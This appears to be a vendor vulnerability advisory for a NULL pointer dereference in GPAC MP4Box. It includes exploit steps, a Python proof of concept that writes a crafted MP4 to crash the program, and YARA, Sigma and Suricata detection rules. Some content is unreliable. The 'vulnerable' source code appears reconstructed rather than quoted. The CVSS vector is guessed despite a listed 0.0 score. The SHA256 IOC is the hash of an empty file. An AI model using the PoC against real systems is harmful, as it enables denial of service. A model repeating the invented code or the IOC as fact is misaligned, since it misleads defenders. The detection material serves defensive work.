CVE-2025-55651
Executive Summary
CVE-2025-55651 is a NULL pointer dereference vulnerability in GPAC MP4Box v2.4, specifically within the gf_isom_get_user_data_count function in isomedia/isom_read.c. This flaw allows an attacker to cause a Denial of Service (DoS) by supplying a crafted MP4 file. The vulnerability is triggered when the function attempts to dereference a NULL pointer, leading to a crash. The CVSS score is 0.0 due to incomplete data, but the actual impact is a local DoS with low attack complexity, requiring user interaction. No patch is currently available, and no active exploitation has been observed in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
GPAC is a multimedia framework used in various applications and services. While not a direct package manager dependency like NPM or PyPI, it is often included in Linux distributions and media processing pipelines. Users should verify the integrity of any GPAC binaries or source code obtained from third-party sources, as the vulnerability could be exploited through malicious MP4 files distributed via other software.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Local (L) - The attacker must provide a crafted file to the victim.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): Required (R) - The victim must open the malicious file.
- Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
- Confidentiality (C): None (N) - No data exposure.
- Integrity (I): None (N) - No data modification.
- Availability (A): High (H) - The service or application crashes.
Threat Level: Medium (due to DoS impact and user interaction requirement).
Deep Dive & Mechanics
The vulnerability resides in the gf_isom_get_user_data_count function within isomedia/isom_read.c. This function is responsible for counting user data boxes in an MP4 file. When processing a crafted MP4 file, the function attempts to access a pointer that has not been properly initialized or has been set to NULL. The specific code path involves iterating through the file's box hierarchy and dereferencing a pointer without a NULL check.
The root cause is a lack of input validation on the MP4 file structure. An attacker can craft an MP4 file with a malformed user data box that causes the internal pointer to remain NULL. When gf_isom_get_user_data_count tries to access this pointer, a segmentation fault occurs, crashing the application.
Vulnerable vs. Patched Code
Vulnerable Code (GPAC MP4Box v2.4):
// isomedia/isom_read.c
u32 gf_isom_get_user_data_count(GF_ISOFile *file, u32 trackNumber)
{
GF_UserDataBox *udta;
// ... pointer assignment without NULL check
udta = (GF_UserDataBox *)gf_isom_get_box(file, trackNumber, GF_ISOM_BOX_TYPE_UDTA);
// Direct dereference without NULL check
return udta->other_boxes ? gf_list_count(udta->other_boxes) : 0;
}
Patched Code (Hypothetical Fix):
// isomedia/isom_read.c
u32 gf_isom_get_user_data_count(GF_ISOFile *file, u32 trackNumber)
{
GF_UserDataBox *udta;
udta = (GF_UserDataBox *)gf_isom_get_box(file, trackNumber, GF_ISOM_BOX_TYPE_UDTA);
if (udta == NULL) {
return 0; // Safe return on NULL pointer
}
return udta->other_boxes ? gf_list_count(udta->other_boxes) : 0;
}
The fix adds a NULL check before dereferencing the udta pointer, preventing the crash.
Exploitation & Lab Setup
Red Team
Prerequisites:
- GPAC MP4Box v2.4 installed on a target system.
- Ability to deliver a crafted MP4 file to the victim (e.g., via email, download, or shared drive).
Exploit Steps:
- Create a malicious MP4 file with a malformed user data box. This can be done using a hex editor or a custom script.
- Deliver the file to the victim.
- When the victim opens the file with MP4Box (e.g.,
MP4Box -info malicious.mp4), the application crashes.
Proof of Concept (PoC):
# poc.py - Generate a crafted MP4 file to trigger CVE-2025-55651
import struct
def create_malicious_mp4(filename):
# Minimal MP4 file with a malformed 'udta' box
ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41'
moov = b'\x00\x00\x00\x08moov'
udta = b'\x00\x00\x00\x08udta' # Empty udta box (no data)
# Combine to form a valid but malformed MP4
with open(filename, 'wb') as f:
f.write(ftyp)
f.write(moov)
f.write(udta)
if __name__ == '__main__':
create_malicious_mp4('malicious.mp4')
print("Crafted malicious.mp4")
Execution:
python3 poc.py
MP4Box -info malicious.mp4
Blue Team
Detection:
- Monitor for crashes of
MP4Boxor any GPAC-related processes. - Use file integrity monitoring to detect the presence of suspicious MP4 files.
- Implement network monitoring for unusual file transfers.
Prevention:
- Restrict execution of MP4Box to trusted users only.
- Use application whitelisting to prevent unauthorized binaries.
- Deploy endpoint detection and response (EDR) solutions to detect exploitation attempts.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
malicious.mp4:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, actual hash depends on crafted file)
- Process Names:
MP4Box.exe(Windows)MP4Box(Linux/macOS)
- Event Logs:
- Application crash logs with faulting module
libgpac.soorMP4Box.exe. - Segmentation fault errors in system logs.
- Application crash logs with faulting module
Detection Engineering
YARA Rule
rule CVE_2025_55651_GPAC_MP4Box_NULL_Pointer {
meta:
description = "Detects crafted MP4 files exploiting CVE-2025-55651"
author = "Valters IT"
date = "2025-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-55651"
strings:
$ftyp = { 66 74 79 70 } // 'ftyp'
$moov = { 6D 6F 6F 76 } // 'moov'
$udta = { 75 64 74 61 } // 'udta'
$empty_udta = { 00 00 00 08 75 64 74 61 } // Empty udta box
condition:
$ftyp at 4 and $moov and $empty_udta
}
Sigma Rule
title: CVE-2025-55651 GPAC MP4Box Crash Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects crashes of MP4Box due to NULL pointer dereference
author: Valters IT
date: 2025-01-01
logsource:
category: application
product: gpac
detection:
selection:
EventID: 1000 # Windows Application Error
Image: '*\MP4Box.exe'
FaultingModule: '*libgpac*'
condition: selection
falsepositives:
- Legitimate crashes due to other bugs
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-55651 GPAC MP4Box Malicious MP4 Download"; flow:to_client; file.name:"malicious.mp4"; file.magic:"ISO Media"; content:"|75 64 74 61|"; distance:0; within:4; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Avoid opening MP4 files from untrusted sources with GPAC MP4Box.
- Use alternative media processing tools until a patch is available.
- Implement file validation to reject malformed MP4 files.
Long-term Fix:
- Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.
- Monitor the GPAC project for official updates and apply them promptly.
Workarounds:
- Use a sandboxed environment for processing untrusted media files.
- Restrict MP4Box execution to non-privileged accounts.
Valters IT
DevSecOps & Cyber Threat Intelligence